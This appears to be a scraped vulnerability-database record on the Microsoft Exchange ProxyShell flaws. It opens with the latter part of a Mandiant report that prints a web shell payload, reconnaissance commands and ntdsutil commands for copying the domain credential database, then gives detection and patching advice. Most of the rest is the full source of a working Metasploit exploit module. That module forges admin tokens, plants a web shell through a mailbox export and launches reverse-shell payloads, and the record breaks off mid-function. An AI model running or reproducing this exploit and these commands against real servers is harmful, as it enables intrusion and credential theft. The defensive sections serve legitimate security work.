Page_Load(){eval(Request['cmd'],'unsafe');}</script> \n \n--- \n \nFigure 5: Web shell embedded in PST payload used by UNC2980\n\nApproximately 11 hours and 44 minutes after the ProxyShell exploitation, Mandiant observed post-exploitation activity beginning with multiple Event ID 4648 (A logon was attempted using explicit credentials) events initiated by the process C:\\root\\mimikatz.exe on the initial compromised host. All Event ID 4648 events were associated with two different domain controllers within the environment.\n\nThe group then utilized the utility WMIEXEC to conduct post-exploitation activity. This was primarily observed through the default redirection of command output used by WMIEXEC.\n\ncmd.exe /c whoami > C:\\wmi.dll 2>&1\n\ncmd.exe /c quser > C:\\wmi.dll 2>&1\n\ncmd.exe /c net localgroup administrators > C:\\wmi.dll 2>&1 \n \n--- \n \nFigure 6: Reconnaissance commands executed via WMICEXEC\n\nUNC2980 was observed utilizing several techniques for credential theft once access to a host was established. In one instance, after performing reconnaissance, UNC2980 deployed multiple variants of MIMIKATZ. In another instance, UNC2980 utilized multiple batch files which executed ntdsutil to enumerate snapshots of volumes and were then used to copy ntds.dit and the System hive.\n\nntdsutil snapshot \"List All\" quit quit >>c:\\temp\\1.txt\n\nntdsutil snapshot \"unmount {[GUID]}\" quit quit\n\nnet localgroup administrators\n\nntdsutil snapshot \"activate instance ntds\" create quit quit\n\nntdsutil snapshot \"delete {[GUID] }\" quit quit\n\nntdsutil snapshot \"mount {[GUID]}\" quit quit\n\ncopy c:\\$SNAP_[date]_VOLUMEC$\\windows\\ntds\\ntds.dit c:\\temp\\ntds.dit\n\nreg save hklm\\system c:\\temp\\s.hive \n \n--- \n \nFigure 7: Executed Batch commands\n\n#### Monitoring and Investigating\n\nMandiant recommends monitoring or investigating for compromise on presently or previously vulnerable Exchange servers.\n\n##### Remote Creation of Items in Mailboxes\n\n * Monitor or investigate irregular Exchange EWS logs to identify CreateItem requests, indicating the remote creation of items.\n * Mandiant has observed draft emails created, containing attached encoded web shells, though other items may also be created.\n * Examine logs under \u2018Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\Ews\\\\*\u2019 where:\n * AuthenticatedUser is SYSTEM or a system account\n * SoapAction is CreateItem\n * HttpStatus is 200 (indicating success)\n * Monitor or identify draft emails with encoded attachments.\n * Mandiant has observed draft emails containing .TXT file attachments with encoded content.\n\n##### Remote Unauthenticated PowerShell\n\n * Monitor IIS logs for successful POST requests containing \"/autodiscover/autodiscover.json\" & \"Powershell\".\n * Monitor or investigate the execution of the PowerShell cmdlets \u2018New-ManagementRoleAssignment\u2019 or \u2018New-MailboxExportRequest\u2019.\n * Mandiant has observed \u2018New-ManagementRoleAssignment\u2019 being used to assign mailbox import and export permissions to target mailboxes, followed by \u2018New-MailboxExportRequest\u2019 to export the drafts folder containing emails with encoded web shells attached.\n * Examine PowerShell ScriptBlock, transcription, and module logging where enabled.\n * Examine logs under \u2018Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\CmdletInfra\\Powershell-Proxy\\Cmdlet\\\\*\u2019, especially the cmdlet parameters where:\n * AuthenticatedUser is the name of impersonated mailbox user\n * ProcessName contains w3wp\n * Cmdlet is \u2018New-ManagementRoleAssignment\u2019 or \u2018New-MailboxExportRequest\u2019\n * Mandiant has observed the \u2018CmdletInfra\\Powershell-Proxy\\Cmdlet\u2019 logs recording remote cmdlets and their parameters even when regular PowerShell ScriptBlock/transcription/module logging is not enabled.\n * Mandiant recommends review of these logs on presently or previously vulnerable servers even in cases where no web shell is identified, since attackers may execute any PowerShell cmdlet, utilizing only part of the exploit chain.\n * Examine the \u2018Data\u2019 field in the Audit logs stored under \u2018\\Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\LocalQueue\\Exchange\\\\*\u2019. This field contains JSON data with the Operation Key value containing the executed PowerShell cmdlets.\n\n#### Creation or Use of Web Shells\n\n * Monitor or identify .ASPX files created under the path inetpub\\wwwroot\\aspnet_client written by SYSTEM.\n * Monitor or identify PST files (by header \u2018!BDN\u2019 / 0x2142444E) with web file extensions (commonly .ASPX). These files may be written by MSMailboxReplication.exe or w3wp.exe (the latter can be the result of replication events due to the exploitation of a different Exchange server in the same cluster).\n * Monitor or identify files created by MSMailboxReplication.exe with extensions other than .PST (this binary is used by the New-MailboxExportRequest PowerShell cmdlet).\n * Monitor or identify arbitrary commands spawned by the process w3wp.exe.\n * Monitor or investigate the \u2018MSExchange Management\u2019 Event logs (EID: 1 and EID: 6) to identify \u2018New-MailboxExportRequest\u2019 requests with .ASPX extensions, indicative of a web shell creation attempt.\n\nAdditional attempted or successful exploitation may be identified by analyzing network and IIS logs looking for HTTP requests matching some of the patterns described in this report.\n\n * Requests against /autodiscover/autodiscover.json containing \u2018powershell\u2019, \u2018mapi/nspi\u2019, \u2018mapi/emsmdb\u2019, \u2018/EWS\u2019 or \u2018X-Rps-CAT'.\n * Status codes 200, 301, or 302 indicating successful exploitation.\n * Status codes 400, 401, or 404 indicating attempted exploitation.\n\n#### Prevention and Remediation\n\nMandiant advises all organizations to apply patches [KB5003435](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-may-11-2021-kb5003435-028bd051-b2f1-4310-8f35-c41c9ce5a2f1>) (CVE-2021-31207) and [KB5001779](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-april-13-2021-kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef064>) (CVE-2021-34473 and CVE-2021-34523) to vulnerable on-premises Microsoft Exchange servers to mitigate these vulnerabilities being exploited. To verify the current version of on-premises Microsoft Exchange running within an organization, reference this [Microsoft resource](<https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates>).\n\nIf an organization is not able to immediately apply the patches, inbound TCP/80 and TCP/443 traffic to on-premises Exchange servers should be explicitly blocked from the Internet.\n\nAdditionally, Mandiant recommends organizations review their detection and response capabilities, especially on public-facing infrastructure, including:\n\n * Deploying and configuring a File Integrity Monitoring solution to monitor and/or prevent the creation of files, especially on web servers outside of maintenance windows\n * Deploying, configuring, and monitoring an Endpoint Detection and Response solution to alert to and respond to malicious activity effectively\n * Enabling enhanced logging and implementing sufficient log retention periods to support investigations, including:\n * Microsoft Systems Monitor (Sysmon) on Windows Servers\n * PowerShell Module, Script Block, and Transcription Logging\n\n#### Detecting the Techniques\n\n**Product**\n\n| \n\n**Signature** \n \n---|--- \n \nFireEye Endpoint Security\n\n| \n\n * PST FILEWRITE WITH ASP EXTENSION (METHODOLOGY)\n * W3WP.EXE CHILD PROCESS RECON COMMAND (METHODOLOGY)\n * WMICEXEC (FAMILY) \n \nFireEye Network Security\n\n| \n\n * Exploit.PY.ProxyShell\n * Microsoft Exchange CVE-2021-34473 Remote Code Execution\n * FE_Microsoft Exchange CVE-2021-34473 Remote Code Execution \n \nFireEye Email Security\n\nFireEye Detection On Demand\n\nFireEye Malware File Scanning\n\nFireEye Malware File Storage Scanning\n\n| \n\n * FEC_Exploit_PY_ProxyShell\n * FE_Hunting_PSTWithEmbeddedWebShell\n * FE_Exploit_PY_ProxyShell \n \nFireEye Helix\n\n| \n\n * MICROSOFT EXCHANGE [ProxyShell Exploit Attempt]\n * MICROSOFT EXCHANGE [ProxyShell Exploit Success]\n * MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) - Mailbox Export]\n * MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) - Certificate Request Export] \n \n#### Mandiant Security Validation Action\n\nOrganizations can validate their security controls using the following actions with Mandiant Security Validation.\n\n**VID**\n\n| \n\n**Name** \n \n---|--- \n \nA101-827\n\n| \n\nApplication Vulnerability - CVE-2021- 34473, ProxyShell Vulnerability Check \n \nA101-829\n\n| \n\nApplication Vulnerability - ProxyShell, Exploitation \n \nA101-839\n\n| \n\nMalicious File Transfer - ProxyShell WebShell, Download \n \n#### Malware Definitions\n\n##### BLUEBEAM\n\nBLUEBEAM (aka. Godzilla) is a publicly available web shell management tool written in JAVA. BLUEBEAM can generate web shell payloads in JSP, ASP[.]NET, and PHP, it also supports AES encryption.\n\nBLUEBEAM contains 20 built-in modules that provide features such as loading additional web shells into memory, shell execution, mimikatz, meterpreter, file compression, and privilege escalation.\n\n##### HTRAN\n\nHTRAN is a publicly available tunneler written in C/C++ that serves as a proxy between two endpoints specified via command line arguments.\n\n##### EARTHWORM\n\nEARTHWORM is a publicly available tunneler utility. It is capable of establishing a tunnel to a SOCKS v5 server and is supported on the following operating systems: Linux, MacOS, and Arm-Linux.\n\n##### CHINACHOP\n\nThe CHOPPER web shell is a simple code injection web shell that is capable of executing Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with webserver account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.\n\nFor more detailed analysis, see our blog post on the China Chopper web shell.\n\n#### Acknowledgements\n\nAlex Pennino, Andrew Rector, Harris Ansari and Yash Gupta\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-03T10:00:00", "type": "fireeye", "title": "PST, Want a Shell? ProxyShell Exploiting Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-09-03T10:00:00", "id": "FIREEYE:FC60CAB5C936FF70E94A7C9307805695", "href": "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2023-05-27T15:13:03", "description": "This module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. All components are vulnerable by default.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-18T14:50:34", "type": "metasploit", "title": "Microsoft Exchange ProxyShell RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-12-02T20:58:50", "id": "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYSHELL_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyShell RCE',\n 'Description' => %q{\n This module exploits a vulnerability on Microsoft Exchange Server that\n allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an\n arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,\n Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,\n Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Discovery\n 'Jang (@testanull)', # Vulnerability analysis\n 'PeterJson', # Vulnerability analysis\n 'brandonshi123', # Vulnerability analysis\n 'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template\n 'Donny Maasland', # Procedure optimizations (email enumeration)\n 'Rich Warren', # Procedure optimizations (email enumeration)\n 'Spencer McIntyre', # Metasploit module\n 'wvu' # Testing\n ],\n 'References' => [\n [ 'CVE', '2021-34473' ],\n [ 'CVE', '2021-34523' ],\n [ 'CVE', '2021-31207' ],\n [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],\n [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],\n [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],\n [ 'URL', 'https://github.com/dmaasland/proxyshell-poc' ]\n ],\n 'DisclosureDate' => '2021-04-06', # pwn2own 2021\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyShell'],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [false, 'A known email address for this organization']),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),\n ])\n\n register_advanced_options([\n OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])\n ])\n end\n\n def check\n @ssrf_email ||= Faker::Internet.email\n res = send_http('GET', '/mapi/nspi/')\n return CheckCode::Unknown if res.nil?\n return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'\n\n CheckCode::Vulnerable\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def request_autodiscover(email)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n '/autodiscover/autodiscover.xml',\n data: XMLTemplate.render('soap_autodiscover', email: email),\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n { server: server, legacy_dn: legacy_dn }\n end\n\n def request_fqdn\n ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n received = send_request_raw(\n 'method' => 'RPC_IN_DATA',\n 'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n 'headers' => {\n 'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n }\n )\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n hash = received['WWW-Authenticate'].split('NTLM ')[1]\n message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n end\n\n fail_with(Failure::NotFound, 'No Backend server was found')\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(legacy_dn)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n '/mapi/emsmdb',\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response&.code == 200\n sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n def get_sid_for_email(email)\n autodiscover = request_autodiscover(email)\n request_mapi(autodiscover[:legacy_dn])\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def exploit_setup\n if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n server_name = datastore['BackendServerName']\n print_status(\"Internal server name forced to: #{server_name}\")\n else\n print_status('Retrieving backend FQDN over RPC request')\n server_name = request_fqdn\n print_status(\"Internal server name: #{server_name}\")\n end\n @backend_server_name = server_name\n\n get_common_access_token\n print_good('Successfully assigned the \\'Mailbox Import Export\\' role')\n print_good(\"Proceeding with SID: #{@mailbox_user_sid} (#{@mailbox_user_email})\")\n end\n\n def probe_powershell_backend(common_access_token)\n powershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{common_access_token}\")\n fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200\n end\n\n # this function doesn't return unless it's successful\n def get_common_access_token\n # get a SID from the specified email address\n email_address = datastore['EMAIL']\n unless email_address.blank?\n sid = get_sid_for_email(email_address)\n vprint_status(\"SID: #{sid} (#{email_address})\")\n common_access_token = build_token(sid)\n probe_powershell_backend(common_access_token)\n\n print_status(\"Assigning the 'Mailbox Import Export' role via #{email_address}\")\n role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [\n { name: '-Role', value: 'Mailbox Import Export' },\n { name: '-User', value: email_address }\n ])\n unless role_assigned\n fail_with(Failure::BadConfig, 'The specified email address does not have the \\'Mailbox Import Export\\' role and can not self-assign it')\n end\n\n @mailbox_user_sid = sid\n @mailbox_user_email = email_address\n @common_access_token = common_access_token\n return\n end\n\n print_status('Enumerating valid email addresses and searching for one that either has the \\'Mailbox Import Export\\' role or can self-assign it')\n get_emails.each do |this_email_address|\n next if this_email_address == email_address # already tried this one\n\n vprint_status(\"Reattempting to assign the 'Mailbox Import Export' role via #{this_email_address}\")\n begin\n this_sid = get_sid_for_email(this_email_address)\n rescue RuntimeError\n print_error(\"Failed to identify the SID for #{this_email_address}\")\n next\n end\n\n common_access_token = build_token(this_sid)\n role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [\n { name: '-Role', value: 'Mailbox Import Export' },\n { name: '-User', value: this_email_address }\n ])\n next unless role_assigned\n\n @mailbox_user_sid = this_sid\n @mailbox_user_email = this_email_address\n @common_access_token = common_access_token\n return # rubocop:disable Lint/NonLocalExitFromIterator\n end\n\n fail_with(Failure::NoAccess, 'No user with the necessary management role was identified')\n end\n\n def send_http(method, uri, opts = {})\n ssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n opts[:cookie] = \"Email=#{ssrf}\"\n super(method, \"/#{ssrf}#{uri}\", opts)\n end\n\n def get_emails\n mailbox_table = Rex::Text::Table.new(\n 'Header' => 'Exchange Mailboxes',\n 'Columns' => %w[EmailAddress Name RoutingType MailboxType]\n )\n\n MailboxEnumerator.new(self).each do |row|\n mailbox_table << row\n end\n\n print_status(\"Enumerated #{mailbox_table.rows.length} email addresses\")\n stored_path = store_loot('ad.exchange.mailboxes', 'text/csv', rhost, mailbox_table.to_csv)\n print_status(\"Saved mailbox and email address data to: #{stored_path}\")\n\n mailbox_table.rows.map(&:first)\n end\n\n def create_embedded_draft(user_sid)\n @shell_input_name = rand_text_alphanumeric(8..12)\n @draft_subject = rand_text_alphanumeric(8..12)\n print_status(\"Saving a draft email with subject '#{@draft_subject}' containing the attachment with the embedded webshell\")\n payload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\"))\n file_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\"\n envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)\n\n send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n datastore['IISWritePath'].gsub('\\\\', '/')\n else\n datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n end\n\n def build_token(sid)\n uint8_tlv = proc do |type, value|\n type + [value.length].pack('C') + value\n end\n\n token = uint8_tlv.call('V', \"\\x00\")\n token << uint8_tlv.call('T', 'Windows')\n token << \"\\x43\\x00\"\n token << uint8_tlv.call('A', 'Kerberos')\n token << uint8_tlv.call('L', 'Administrator')\n token << uint8_tlv.call('U', sid)\n\n # group data for S-1-5-32-544\n token << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\"\n Rex::Text.encode_base64(token)\n end\n\n def exploit\n @ssrf_email ||= Faker::Internet.email\n print_status('Attempt to exploit for CVE-2021-34473')\n exploit_setup\n\n create_embedded_draft(@mailbox_user_sid)\n @shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\"\n if datastore['UseAlternatePath']\n unc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n else\n unc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n end\n\n normal_path = unc_path.gsub(/^\\\\+[\\w.-]+\\\\(.)\\$\\\\/, '\\1:\\\\')\n print_status(\"Writing to: #{normal_path}\")\n register_file_for_cleanup(normal_path)\n\n @export_name = rand_text_alphanumeric(8..12)\n successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [\n { name: '-Name', value: @export_name },\n { name: '-Mailbox', value: @mailbox_user_email },\n { name: '-IncludeFolders', value: '#Drafts#' },\n { name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" },\n { name: '-ExcludeDumpster' },\n { name: '-FilePath', value: unc_path }\n ])\n fail_with(Failure::UnexpectedReply, 'The mailbox export request failed') unless successful\n\n exported = false\n print_status('Waiting for the export request to complete...')\n 30.times do\n sleep 5\n next unless send_request_cgi('uri' => normalize_uri(web_directory, @shell_filename))&.code == 200\n\n print_good('The mailbox export request has completed')\n exported = true\n break\n end\n\n fail_with(Failure::Unknown, 'The mailbox export request timed out') unless exported\n\n print_status('Triggering the payload')\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n boundary = rand_text_alphanumeric(8..12)\n response = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\")\n\n print_warning('Dumping command output in response')\n if response.body =~ /START#{boundary}(.*)END#{boundary}/m\n print_line(Regexp.last_match(1).strip)\n else\n print_error('Empty response, no command output')\n end\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\n def cleanup\n super\n return unless @common_access_token && @export_name\n\n print_status('Removing the mailbox export request')\n execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [\n { name: '-Identity', value: \"#{@mailbox_user_email}\\\\#{@export_name}\" },\n { name: '-Confirm', value: false }\n ])\n\n print_status('Removing the draft email')\n execute_powershell('Search-Mailbox', cat: @common_access_token, args: [\n { name: '-Identity', value: @mailbox_user_email },\n { name: '-SearchQuery', value: \"Subject:\\\"#{@draft_subject}\\\"\" },\n { name: '-Force' },\n { name: '-DeleteContent' }\n ])\n end\n\n def execute_command(cmd, _opts = {})\n if !cmd_windows_generic?\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\"\n else\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n end\n\n send_request_raw(\n 'method' 